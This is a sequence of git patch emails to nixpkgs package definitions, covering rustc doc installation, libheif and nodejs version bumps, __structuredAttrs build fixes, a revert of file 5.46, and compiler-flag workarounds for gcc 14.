From b98ad3f68d264ef73332110009d6486b1f6208af Mon Sep 17 00:00:00 2001
From: Niklas Korz <niklas@niklaskorz.de>
Date: Tue, 13 May 2025 13:49:39 +0200
Subject: [PATCH 0001/4511] rustc: ensure standard library docs are installed

Fixes #405914

Upstream's installation script installs the `docs` component
for every target that is built.
Unfortunately, installing the docs for a target removes the
previous target's docs, ultimately leaving only the docs
of the last target in the list.
In our case, that is a `no_std` target, for which no `alloc`
or `std` docs are built, thus leaving `rustc.doc` without any
standard library docs.
Moving stdenv's `targetPlatform` to the end of the list ensures
we get standard library docs.

(cherry picked from commit ffbfd9c828ec7a75fc506d952dbc6e38a9562466)
---
 pkgs/development/compilers/rust/rustc.nix | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/compilers/rust/rustc.nix b/pkgs/development/compilers/rust/rustc.nix
index 263feaa61704..0e69639b0514 100644
--- a/pkgs/development/compilers/rust/rustc.nix
+++ b/pkgs/development/compilers/rust/rustc.nix
@@ -153,11 +153,8 @@ stdenv.mkDerivation (finalAttrs: {
       # std is built for all platforms in --target.
       "--target=${
         concatStringsSep "," (
-          [
-            stdenv.targetPlatform.rust.rustcTargetSpec
-          ]
           # Other targets that don't need any extra dependencies to build.
-          ++ optionals (!fastCross) [
+          optionals (!fastCross) [
             "wasm32-unknown-unknown"
             "wasm32v1-none"
             "bpfel-unknown-none"
@@ -175,6 +172,13 @@ stdenv.mkDerivation (finalAttrs: {
           ++ optionals (stdenv.hostPlatform != stdenv.targetPlatform && !fastCross) [
             stdenv.hostPlatform.rust.rustcTargetSpec
           ]
+          ++ [
+            # `make install` only keeps the docs of the last target in the list.
+            # If the `targetPlatform` is not the last entry, we may end up without
+            # `alloc` or `std` docs (if the last target is `no_std`).
+            # More information: https://github.com/rust-lang/rust/issues/140922
+            stdenv.targetPlatform.rust.rustcTargetSpec
+          ]
         )
       }"
 

From 795147d7161943e63459a0f17662cd83aee47fca Mon Sep 17 00:00:00 2001
From: kuflierl <41301536+kuflierl@users.noreply.github.com>
Date: Thu, 8 May 2025 16:06:47 +0200
Subject: [PATCH 0002/4511] libheif: 1.19.7 -> 1.19.8, adopt orphan,
 CVE-2025-29482

(cherry picked from commit 1b540b086de7c4c032fa9debf4604d99adc616d5)
---
 pkgs/by-name/li/libheif/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/libheif/package.nix b/pkgs/by-name/li/libheif/package.nix
index a5712ece2b82..0d5e976c27ff 100644
--- a/pkgs/by-name/li/libheif/package.nix
+++ b/pkgs/by-name/li/libheif/package.nix
@@ -24,7 +24,7 @@
 
 stdenv.mkDerivation rec {
   pname = "libheif";
-  version = "1.19.7";
+  version = "1.19.8";
 
   outputs = [
     "bin"
@@ -37,7 +37,7 @@ stdenv.mkDerivation rec {
     owner = "strukturag";
     repo = "libheif";
     rev = "v${version}";
-    hash = "sha256-FXq6AOq1tUM05++fkzowApbLnlgeS5ZJ+UmypHrF11g=";
+    hash = "sha256-p+VkIJrX/aN2ohSiDmev+6fbS9Lc7Jh14YwW5vLIjJw=";
   };
 
   nativeBuildInputs = [
@@ -81,6 +81,6 @@ stdenv.mkDerivation rec {
     description = "ISO/IEC 23008-12:2017 HEIF image file format decoder and encoder";
     license = lib.licenses.lgpl3Plus;
     platforms = lib.platforms.unix;
-    maintainers = with lib.maintainers; [ ];
+    maintainers = with lib.maintainers; [ kuflierl ];
   };
 }

From b79acb3ee3655e7357648836291cd805861b73f1 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Wed, 14 May 2025 09:30:14 +0200
Subject: [PATCH 0003/4511] build-support/meson: set crt-static for rustc
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Just like we do in the Cargo setup hook, to have musl/static builds
work properly we need to explicitly set whether we want static builds
or not.  Rust's built-in target definitions are inconsistent — some
musl architectures default to static, and others don't.

Unfortunately it doesn't seem to be valid to break this list onto
multiple lines.

(cherry picked from commit e5da99075b0a39e2c0e8fcf09a3db755d2c2b51f)
---
 pkgs/build-support/lib/meson.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/build-support/lib/meson.nix b/pkgs/build-support/lib/meson.nix
index 501d4315fdff..76f458cdd9c8 100644
--- a/pkgs/build-support/lib/meson.nix
+++ b/pkgs/build-support/lib/meson.nix
@@ -27,7 +27,9 @@ let
 
     [binaries]
     llvm-config = 'llvm-config-native'
-    rust = ['rustc', '--target', '${stdenv.targetPlatform.rust.rustcTargetSpec}']
+    rust = ['rustc', '-C', 'target-feature=${
+      if stdenv.targetPlatform.isStatic then "+" else "-"
+    }crt-static', '--target', '${stdenv.targetPlatform.rust.rustcTargetSpec}']
     # Meson refuses to consider any CMake binary during cross compilation if it's
     # not explicitly specified here, in the cross file.
     # https://github.com/mesonbuild/meson/blob/0ed78cf6fa6d87c0738f67ae43525e661b50a8a2/mesonbuild/cmake/executor.py#L72

From eb60d1001329bb94b51a29ee82ab17e4092de41a Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Sat, 10 May 2025 18:40:33 -0400
Subject: [PATCH 0004/4511] removeReferencesTo: unbreak when __structuredAttrs
 is enabled

When `__structuredAttrs` is enabled, the `remove-references-to` script
ends up being built with a shebang of `#!@shell@` (among other, Darwin-
specific, breakages), as `$shell` isn't defined.

A small interlude: the eagle-eyed stdenv knowers reading this may be
thinking to themselves, "Doesn't stdenv set `$shell` if it's not
defined?" This is true... *but* consider the state of this file before
this change: it had `shell` as an argument to `mkDerivation`, and
arguments to `mkDerivation` get defined as *Bash variables*. So, when
stdenv was checking to see if `$shell` was defined, it was looking at
the *Bash variable* and not the environment variable.

(cherry picked from commit 262532f409d893e2ef187972a9ef0a32b338e498)
---
 pkgs/build-support/remove-references-to/default.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/pkgs/build-support/remove-references-to/default.nix b/pkgs/build-support/remove-references-to/default.nix
index 30c79821b906..794c44572265 100644
--- a/pkgs/build-support/remove-references-to/default.nix
+++ b/pkgs/build-support/remove-references-to/default.nix
@@ -34,8 +34,10 @@ stdenv.mkDerivation {
     substituteAll ${./darwin-sign-fixup.sh} $out/nix-support/setup-hooks.sh
   '';
 
-  inherit (builtins) storeDir;
-  shell = lib.getBin shell + (shell.shellPath or "");
-  signingUtils = if darwinCodeSign then signingUtils else null;
+  env = {
+    inherit (builtins) storeDir;
+    shell = lib.getBin shell + (shell.shellPath or "");
+  } // lib.optionalAttrs darwinCodeSign { inherit signingUtils; };
+
   meta.mainProgram = "remove-references-to";
 }

From cb19e255685d8148ba0227c39dcc1757f31a7926 Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Sat, 10 May 2025 18:40:33 -0400
Subject: [PATCH 0005/4511] darwin.signingUtils: unbreak when __structuredAttrs
 is enabled

(cherry picked from commit 5d0613447576bdc7cf256a5011f2f1b8b40199fd)
---
 pkgs/os-specific/darwin/signing-utils/default.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/darwin/signing-utils/default.nix b/pkgs/os-specific/darwin/signing-utils/default.nix
index 9cfe99213216..4ac28e120350 100644
--- a/pkgs/os-specific/darwin/signing-utils/default.nix
+++ b/pkgs/os-specific/darwin/signing-utils/default.nix
@@ -20,6 +20,8 @@ stdenv.mkDerivation {
   '';
 
   # Substituted variables
-  inherit sigtool;
-  codesignAllocate = "${cctools}/bin/${cctools.targetPrefix}codesign_allocate";
+  env = {
+    inherit sigtool;
+    codesignAllocate = "${cctools}/bin/${cctools.targetPrefix}codesign_allocate";
+  };
 }

From fbbcc9158c5464a79a98271883058176313dad44 Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Sat, 10 May 2025 18:40:33 -0400
Subject: [PATCH 0006/4511] lua5_{2,4}: unbreak on darwin when
 __structuredAttrs is enabled

(cherry picked from commit bf74f38c0fb48fa1c4aa2e8ba8da374af3f38580)
---
 .../interpreters/lua-5/5.2.darwin.patch            | 14 +++++++-------
 .../interpreters/lua-5/5.4.darwin.patch            | 14 +++++++-------
 .../development/interpreters/lua-5/interpreter.nix |  5 +++++
 3 files changed, 19 insertions(+), 14 deletions(-)

diff --git a/pkgs/development/interpreters/lua-5/5.2.darwin.patch b/pkgs/development/interpreters/lua-5/5.2.darwin.patch
index be0e206bbfc7..0f73c35bd5d4 100644
--- a/pkgs/development/interpreters/lua-5/5.2.darwin.patch
+++ b/pkgs/development/interpreters/lua-5/5.2.darwin.patch
@@ -7,7 +7,7 @@ index d2c7db4..dc107b3 100644
  TO_BIN= lua luac
  TO_INC= lua.h luaconf.h lualib.h lauxlib.h lua.hpp
 -TO_LIB= liblua.a
-+TO_LIB= liblua.${version}.dylib
++TO_LIB= liblua.${pkgversion}.dylib
  TO_MAN= lua.1 luac.1
  
  # Lua version and release.
@@ -15,7 +15,7 @@ index d2c7db4..dc107b3 100644
  	cd src && $(INSTALL_DATA) $(TO_INC) $(INSTALL_INC)
  	cd src && $(INSTALL_DATA) $(TO_LIB) $(INSTALL_LIB)
  	cd doc && $(INSTALL_DATA) $(TO_MAN) $(INSTALL_MAN)
-+	ln -s -f liblua.${version}.dylib $(INSTALL_LIB)/liblua.${luaversion}.dylib
++	ln -s -f liblua.${pkgversion}.dylib $(INSTALL_LIB)/liblua.${luaversion}.dylib
 +	ln -s -f liblua.${luaversion}.dylib $(INSTALL_LIB)/liblua.dylib
  
  uninstall:
@@ -29,7 +29,7 @@ index 7b4b2b7..25001e5 100644
  PLATS= aix ansi bsd freebsd generic linux macosx mingw posix solaris
  
 -LUA_A=	liblua.a
-+LUA_A=	liblua.${version}.dylib
++LUA_A=	liblua.${pkgversion}.dylib
  CORE_O=	lapi.o lcode.o lctype.o ldebug.o ldo.o ldump.o lfunc.o lgc.o llex.o \
  	lmem.o lobject.o lopcodes.o lparser.o lstate.o lstring.o ltable.o \
  	ltm.o lundump.o lvm.o lzio.o
@@ -39,14 +39,14 @@ index 7b4b2b7..25001e5 100644
  $(LUA_A): $(BASE_O)
 -	$(AR) $@ $(BASE_O)
 -	$(RANLIB) $@
-+	$(CC) -dynamiclib -install_name $(out)/lib/liblua.${version}.dylib \
-+		-compatibility_version ${version} -current_version ${version} \
-+		-o liblua.${version}.dylib $^
++	$(CC) -dynamiclib -install_name $(out)/lib/liblua.${pkgversion}.dylib \
++		-compatibility_version ${pkgversion} -current_version ${pkgversion} \
++		-o liblua.${pkgversion}.dylib $^
  
  $(LUA_T): $(LUA_O) $(LUA_A)
 -	$(CC) -o $@ $(LDFLAGS) $(LUA_O) $(LUA_A) $(LIBS)
 +	$(CC) -fno-common $(MYLDFLAGS) \
-+		-o $@ $(LUA_O) $(LUA_A) -L. -llua.${version} $(LIBS)
++		-o $@ $(LUA_O) $(LUA_A) -L. -llua.${pkgversion} $(LIBS)
  
  $(LUAC_T): $(LUAC_O) $(LUA_A)
  	$(CC) -o $@ $(LDFLAGS) $(LUAC_O) $(LUA_A) $(LIBS)
diff --git a/pkgs/development/interpreters/lua-5/5.4.darwin.patch b/pkgs/development/interpreters/lua-5/5.4.darwin.patch
index eb16ed9c6897..25fcf127b17d 100644
--- a/pkgs/development/interpreters/lua-5/5.4.darwin.patch
+++ b/pkgs/development/interpreters/lua-5/5.4.darwin.patch
@@ -5,7 +5,7 @@
  TO_BIN= lua luac
  TO_INC= lua.h luaconf.h lualib.h lauxlib.h lua.hpp
 -TO_LIB= liblua.a
-+TO_LIB= liblua.${version}.dylib
++TO_LIB= liblua.${pkgversion}.dylib
  TO_MAN= lua.1 luac.1
  
  # Lua version and release.
@@ -13,7 +13,7 @@
  	cd src && $(INSTALL_DATA) $(TO_INC) $(INSTALL_INC)
  	cd src && $(INSTALL_DATA) $(TO_LIB) $(INSTALL_LIB)
  	cd doc && $(INSTALL_DATA) $(TO_MAN) $(INSTALL_MAN)
-+	ln -s -f liblua.${version}.dylib $(INSTALL_LIB)/liblua.${luaversion}.dylib
++	ln -s -f liblua.${pkgversion}.dylib $(INSTALL_LIB)/liblua.${luaversion}.dylib
 +	ln -s -f liblua.${luaversion}.dylib $(INSTALL_LIB)/liblua.dylib
  
  uninstall:
@@ -25,7 +25,7 @@
  PLATS= guess aix bsd c89 freebsd generic linux linux-readline macosx mingw posix solaris
  
 -LUA_A=	liblua.a
-+LUA_A=	liblua.${version}.dylib
++LUA_A=	liblua.${pkgversion}.dylib
  CORE_O=	lapi.o lcode.o lctype.o ldebug.o ldo.o ldump.o lfunc.o lgc.o llex.o lmem.o lobject.o lopcodes.o lparser.o lstate.o lstring.o ltable.o ltm.o lundump.o lvm.o lzio.o
  LIB_O=	lauxlib.o lbaselib.o lcorolib.o ldblib.o liolib.o lmathlib.o loadlib.o loslib.o lstrlib.o ltablib.o lutf8lib.o linit.o
  BASE_O= $(CORE_O) $(LIB_O) $(MYOBJS)
@@ -35,14 +35,14 @@
  $(LUA_A): $(BASE_O)
 -	$(AR) $@ $(BASE_O)
 -	$(RANLIB) $@
-+	$(CC) -dynamiclib -install_name $(out)/lib/liblua.${version}.dylib \
-+		-compatibility_version ${version} -current_version ${version} \
-+		-o liblua.${version}.dylib $^
++	$(CC) -dynamiclib -install_name $(out)/lib/liblua.${pkgversion}.dylib \
++		-compatibility_version ${pkgversion} -current_version ${pkgversion} \
++		-o liblua.${pkgversion}.dylib $^
  
  $(LUA_T): $(LUA_O) $(LUA_A)
 -	$(CC) -o $@ $(LDFLAGS) $(LUA_O) $(LUA_A) $(LIBS)
 +	$(CC) -fno-common $(MYLDFLAGS) \
-+		-o $@ $(LUA_O) $(LUA_A) -L. -llua.${version} $(LIBS)
++		-o $@ $(LUA_O) $(LUA_A) -L. -llua.${pkgversion} $(LIBS)
  
  $(LUAC_T): $(LUAC_O) $(LUA_A)
  	$(CC) -o $@ $(LDFLAGS) $(LUAC_O) $(LUA_A) $(LIBS)
diff --git a/pkgs/development/interpreters/lua-5/interpreter.nix b/pkgs/development/interpreters/lua-5/interpreter.nix
index 2af4246f0def..c6db643eb79b 100644
--- a/pkgs/development/interpreters/lua-5/interpreter.nix
+++ b/pkgs/development/interpreters/lua-5/interpreter.nix
@@ -99,6 +99,11 @@ stdenv.mkDerivation (
         cat ${./lua-dso.make} >> src/Makefile
       '';
 
+    env = {
+      inherit luaversion;
+      pkgversion = version;
+    };
+
     # see configurePhase for additional flags (with space)
     makeFlags = [
       "INSTALL_TOP=${placeholder "out"}"

From 22212e5fee3cdee96a4c161e384e336f074c7c69 Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Sat, 10 May 2025 18:40:33 -0400
Subject: [PATCH 0007/4511] pkg-config-wrapper: unbreak when __structuredAttrs
 is enabled

(cherry picked from commit a2d28b9987a579105e19cbcfec74dbf1dc640fab)
---
 pkgs/build-support/pkg-config-wrapper/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/build-support/pkg-config-wrapper/default.nix b/pkgs/build-support/pkg-config-wrapper/default.nix
index 3f2ec688dd3d..da77765f82d3 100644
--- a/pkgs/build-support/pkg-config-wrapper/default.nix
+++ b/pkgs/build-support/pkg-config-wrapper/default.nix
@@ -59,7 +59,7 @@ stdenv.mkDerivation {
   dontUnpack = true;
 
   # Additional flags passed to pkg-config.
-  addFlags = optional stdenv.targetPlatform.isStatic "--static";
+  env.addFlags = optionalString stdenv.targetPlatform.isStatic "--static";
 
   installPhase =
     ''

From 6ef0561dff1185808927ebaa9c1cfc2897848109 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 7 May 2025 11:10:52 +0200
Subject: [PATCH 0008/4511] gst_all_1.gst-plugins-bad: Disable lcevcdecoder
 plugin

(cherry picked from commit 70e2c348ce5e3ffbf50d4d39035eb1ea57d558f8)
---
 pkgs/development/libraries/gstreamer/bad/default.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/gstreamer/bad/default.nix b/pkgs/development/libraries/gstreamer/bad/default.nix
index 6ec90928417d..efb261a613e6 100644
--- a/pkgs/development/libraries/gstreamer/bad/default.nix
+++ b/pkgs/development/libraries/gstreamer/bad/default.nix
@@ -20,7 +20,9 @@
   opencvSupport ? false,
   opencv4,
   faad2,
-  lcevcdecSupport ? lib.meta.availableOn stdenv.hostPlatform lcevcdec,
+  # Enabling lcevcdecoder currently causes issues when attempting to decode regular h264 data
+  # warning: No decoder available for type 'video/x-h264, stream-format=(string)avc, [...], lcevc=(boolean)false, [...]
+  lcevcdecSupport ? false,
   lcevcdec,
   ldacbt,
   liblc3,

From bf10c06546332591a3da0c577f9f5ef958e0d5ac Mon Sep 17 00:00:00 2001
From: Doron Behar <doron.behar@gmail.com>
Date: Thu, 15 May 2025 12:22:04 +0300
Subject: [PATCH 0009/4511] Revert "file: 5.45 -> 5.46", to fix Zip files
 regressions

This reverts commit 75d2d3c2926a4184f1124f53f42e7794b5c5777a, after
multiple complains best summarized here:

https://github.com/NixOS/nixpkgs/pull/402318#issuecomment-2881163359
(cherry picked from commit 7377f9e6ad0b70856476194d8cc2c3ec57efd55a)
---
 pkgs/tools/misc/file/32-bit-time_t.patch | 38 ++++++++++++++++++++++++
 pkgs/tools/misc/file/default.nix         | 17 +++++++++--
 2 files changed, 53 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/tools/misc/file/32-bit-time_t.patch

diff --git a/pkgs/tools/misc/file/32-bit-time_t.patch b/pkgs/tools/misc/file/32-bit-time_t.patch
new file mode 100644
index 000000000000..19c595215d65
--- /dev/null
+++ b/pkgs/tools/misc/file/32-bit-time_t.patch
@@ -0,0 +1,38 @@
+https://github.com/file/file/commit/218fdf813fd5ccecbb8887a1b62509cd1c6dd3a1.patch
+
+From 218fdf813fd5ccecbb8887a1b62509cd1c6dd3a1 Mon Sep 17 00:00:00 2001
+From: Christos Zoulas <christos@zoulas.com>
+Date: Fri, 28 Jul 2023 14:38:25 +0000
+Subject: [PATCH] deal with 32 bit time_t
+
+---
+ src/file.h | 8 +++++---
+ 1 file changed, 5 insertions(+), 3 deletions(-)
+
+diff --git a/src/file.h b/src/file.h
+index 2e0494d2f..78f574ea1 100644
+--- a/src/file.h
++++ b/src/file.h
+@@ -27,7 +27,7 @@
+  */
+ /*
+  * file.h - definitions for file(1) program
+- * @(#)$File: file.h,v 1.247 2023/07/27 19:40:22 christos Exp $
++ * @(#)$File: file.h,v 1.248 2023/07/28 14:38:25 christos Exp $
+  */
+ 
+ #ifndef __file_h__
+@@ -159,9 +159,11 @@
+ /*
+  * Dec 31, 23:59:59 9999
+  * we need to make sure that we don't exceed 9999 because some libc
+- * implementations like muslc crash otherwise
++ * implementations like muslc crash otherwise. If you are unlucky
++ * to be running on a system with a 32 bit time_t, then it is even less.
+  */
+-#define	MAX_CTIME	CAST(time_t, 0x3afff487cfULL)
++#define	MAX_CTIME \
++    CAST(time_t, sizeof(time_t) > 4 ? 0x3afff487cfULL : 0x7fffffffULL)
+ 
+ #define FILE_BADSIZE CAST(size_t, ~0ul)
+ #define MAXDESC	64		/* max len of text description/MIME type */
diff --git a/pkgs/tools/misc/file/default.nix b/pkgs/tools/misc/file/default.nix
index 40becb915e1f..c9f0f0f859bf 100644
--- a/pkgs/tools/misc/file/default.nix
+++ b/pkgs/tools/misc/file/default.nix
@@ -16,14 +16,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "file";
-  version = "5.46";
+  version = "5.45";
 
   src = fetchurl {
     urls = [
       "https://astron.com/pub/file/file-${finalAttrs.version}.tar.gz"
       "https://distfiles.macports.org/file/file-${finalAttrs.version}.tar.gz"
     ];
-    hash = "sha256-ycx3x8VgxUMTXtxVWvYJ1WGdvvARmX6YjOQKPXXYYIg=";
+    hash = "sha256-/Jf1ECm7DiyfTjv/79r2ePDgOe6HK53lwAKm0Jx4TYI=";
   };
 
   outputs = [
@@ -32,6 +32,19 @@ stdenv.mkDerivation (finalAttrs: {
     "man"
   ];
 
+  patches = [
+    # Upstream patch to fix 32-bit tests.
+    #
+    # It is included in 5.46+, but we are not updating to it or a later version until:
+    #
+    # https://bugs.astron.com/view.php?id=622
+    #
+    # is resolved. See also description of the bug here:
+    #
+    # https://github.com/NixOS/nixpkgs/pull/402318#issuecomment-2881163359
+    ./32-bit-time_t.patch
+  ];
+
   strictDeps = true;
   enableParallelBuilding = true;
 

From 5e7c987609aac42c805c10856b4fcbc11f2c43a1 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 14 May 2025 20:32:39 +0200
Subject: [PATCH 0010/4511] newlib: Apply patch to fix targeting MIPS

(cherry picked from commit fc85657b10bb9647c4f25407c9198d9ae464f4cc)
---
 pkgs/development/misc/newlib/default.nix | 24 ++++++++++++++++--------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/pkgs/development/misc/newlib/default.nix b/pkgs/development/misc/newlib/default.nix
index 25eacc38f009..50d41e21e31c 100644
--- a/pkgs/development/misc/newlib/default.nix
+++ b/pkgs/development/misc/newlib/default.nix
@@ -20,14 +20,22 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "sha256-M/EmBeAFSWWZbCXBOCs+RjsK+ReZAB9buMBjDy7IyFI=";
   };
 
-  patches = lib.optionals nanoizeNewlib [
-    # https://bugs.gentoo.org/723756
-    (fetchpatch {
-      name = "newlib-3.3.0-no-nano-cxx.patch";
-      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/sys-libs/newlib/files/newlib-3.3.0-no-nano-cxx.patch?id=9ee5a1cd6f8da6d084b93b3dbd2e8022a147cfbf";
-      sha256 = "sha256-S3mf7vwrzSMWZIGE+d61UDH+/SK/ao1hTPee1sElgco=";
-    })
-  ];
+  patches =
+    [
+      (fetchpatch {
+        name = "0001-newlib-Fix-mips-libgloss-support.patch";
+        url = "https://sourceware.org/git/?p=newlib-cygwin.git;a=patch;h=8a8fb570d7c5310a03a34b3dd6f9f8bb35ee9f40";
+        hash = "sha256-hWS/X0jf/ZFXIR39NvNDVhkR8F81k9UWpsqDhZFxO5o=";
+      })
+    ]
+    ++ lib.optionals nanoizeNewlib [
+      # https://bugs.gentoo.org/723756
+      (fetchpatch {
+        name = "newlib-3.3.0-no-nano-cxx.patch";
+        url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/sys-libs/newlib/files/newlib-3.3.0-no-nano-cxx.patch?id=9ee5a1cd6f8da6d084b93b3dbd2e8022a147cfbf";
+        sha256 = "sha256-S3mf7vwrzSMWZIGE+d61UDH+/SK/ao1hTPee1sElgco=";
+      })
+    ];
 
   depsBuildBuild = [
     buildPackages.stdenv.cc

From ddf1447c8093ccb0bf328e893c534e50a8a56b01 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Sat, 17 May 2025 13:24:29 +0200
Subject: [PATCH 0011/4511] chickenPackages_5.chickenEggs.*: fix with gcc 14

Many of these packages that are now failing had `-Wno-error=` on clang.
Gcc 14 now also treats incompatible pointer type as errors.
The logical fix is to ignore these errors independent of compiler.

(cherry picked from commit d6f4a43dc016bf92d27f73d788fa9b562dbae843)
---
 .../compilers/chicken/5/overrides.nix         | 27 ++++++++++++++-----
 1 file changed, 21 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/compilers/chicken/5/overrides.nix b/pkgs/development/compilers/chicken/5/overrides.nix
index ac7355ea4ef8..28ddfdacf900 100644
--- a/pkgs/development/compilers/chicken/5/overrides.nix
+++ b/pkgs/development/compilers/chicken/5/overrides.nix
@@ -70,9 +70,14 @@ in
   epoxy =
     old:
     (addToPropagatedBuildInputsWithPkgConfig pkgs.libepoxy old)
-    // lib.optionalAttrs stdenv.cc.isClang {
+    // {
       env.NIX_CFLAGS_COMPILE = toString [
-        "-Wno-error=incompatible-function-pointer-types"
+        (
+          if stdenv.cc.isClang then
+            "-Wno-error=incompatible-function-pointer-types"
+          else
+            "-Wno-error=incompatible-pointer-types"
+        )
         "-Wno-error=int-conversion"
       ];
     };
@@ -81,21 +86,31 @@ in
   expat =
     old:
     (addToBuildInputsWithPkgConfig pkgs.expat old)
-    // lib.optionalAttrs stdenv.cc.isClang {
+    // {
       env.NIX_CFLAGS_COMPILE = toString [
-        "-Wno-error=incompatible-function-pointer-types"
+        (
+          if stdenv.cc.isClang then
+            "-Wno-error=incompatible-function-pointer-types"
+          else
+            "-Wno-error=incompatible-pointer-types"
+        )
       ];
     };
   ezxdisp =
     old:
     (addToBuildInputsWithPkgConfig pkgs.xorg.libX11 old)
-    // lib.optionalAttrs stdenv.cc.isClang {
+    // {
       env.NIX_CFLAGS_COMPILE = toString [
         "-Wno-error=implicit-function-declaration"
       ];
     };
   freetype = addToBuildInputsWithPkgConfig pkgs.freetype;
   fuse = addToBuildInputsWithPkgConfig pkgs.fuse;
+  gl-math = old: {
+    env.NIX_CFLAGS_COMPILE = toString [
+      "-Wno-error=incompatible-pointer-types"
+    ];
+  };
   gl-utils = addPkgConfig;
   glfw3 = addToBuildInputsWithPkgConfig pkgs.glfw3;
   glls = addPkgConfig;
@@ -118,7 +133,7 @@ in
   mdh =
     old:
     (addToBuildInputs pkgs.pcre old)
-    // lib.optionalAttrs stdenv.cc.isClang {
+    // {
       env.NIX_CFLAGS_COMPILE = toString [
         "-Wno-error=implicit-function-declaration"
         "-Wno-error=implicit-int"

From f3bd2b3cd4719833ada75cf9377f544c77cd630c Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 23 Apr 2025 09:35:55 +0200
Subject: [PATCH 0012/4511] nodejs_22: 22.14.0 -> 22.15.0

(cherry picked from commit 9407b1dfd1e39bf8229ead302593ab2c9fa08941)
---
 pkgs/development/web/nodejs/v22.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index 64e702a527c8..651de6bd94a8 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "22.14.0";
-  sha256 = "c609946bf793b55c7954c26582760808d54c16185d79cb2fb88065e52de21914";
+  version = "22.15.0";
+  sha256 = "e7c4226d1d92f33ad854d6da4f7e519e77690b8e73f93496881f8c539174d9df";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From a01015e70e30e69e6e07d521e0810e68ecad0e4c Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 14 May 2025 23:40:50 +0200
Subject: [PATCH 0013/4511] nodejs_22: 22.15.0 -> 22.15.1

(cherry picked from commit 915a9a613609ae016dad0b3f8355e00cde29ddab)
---
 pkgs/development/web/nodejs/v22.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index 651de6bd94a8..08aa541282b3 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "22.15.0";
-  sha256 = "e7c4226d1d92f33ad854d6da4f7e519e77690b8e73f93496881f8c539174d9df";
+  version = "22.15.1";
+  sha256 = "c19f0177d21c621746625e5f37590bd0d79a72043b77b53784cba5f145e7263e";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From b1d942ad4349fe72d22113d376e86319371d3189 Mon Sep 17 00:00:00 2001
From: alyaeanyx <alyaeanyx@mailbox.org>
Date: Sun, 18 May 2025 18:38:47 +0200
Subject: [PATCH 0014/4511] nodejs: fix dev output

(cherry picked from commit e76c689a3da8ee876c4bbe7c6549da92e4bcf279)
---
 pkgs/development/web/nodejs/nodejs.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/web/nodejs/nodejs.nix b/pkgs/development/web/nodejs/nodejs.nix
index b40bfb43950a..873a333e5f38 100644
--- a/pkgs/development/web/nodejs/nodejs.nix
+++ b/pkgs/development/web/nodejs/nodejs.nix
@@ -479,7 +479,7 @@ let
           ''}
 
           # install the missing headers for node-gyp
-          # TODO: add dev output and use propagatedBuildInputs instead of copying headers.
+          # TODO: use propagatedBuildInputs instead of copying headers.
           cp -r ${lib.concatStringsSep " " copyLibHeaders} $out/include/node
 
           # assemble a static v8 library and put it in the 'libv8' output
@@ -510,6 +510,9 @@ let
           Libs: -L$libv8/lib -lv8 -pthread -licui18n -licuuc
           Cflags: -I$libv8/include
           EOF
+        ''
+        + lib.optionalString (stdenv.hostPlatform == stdenv.buildPlatform) ''
+          cp -r $out/include $dev/include
         '';
 
       passthru.tests = {

From 6ee043aa1a99bea366ec67b3b26f2c74e7ce2721 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 14 May 2025 01:44:13 +0200
Subject: [PATCH 0015/4511] overlayed: don't vendor Cargo.lock

(cherry picked from commit d0de1313ff5d4c5298f14fc872443bd2f13ad999)
---
 pkgs/by-name/ov/overlayed/Cargo.lock  | 5952 -------------------------
 pkgs/by-name/ov/overlayed/package.nix |   12 +-
 2 files changed, 3 insertions(+), 5961 deletions(-)
 delete mode 100644 pkgs/by-name/ov/overlayed/Cargo.lock

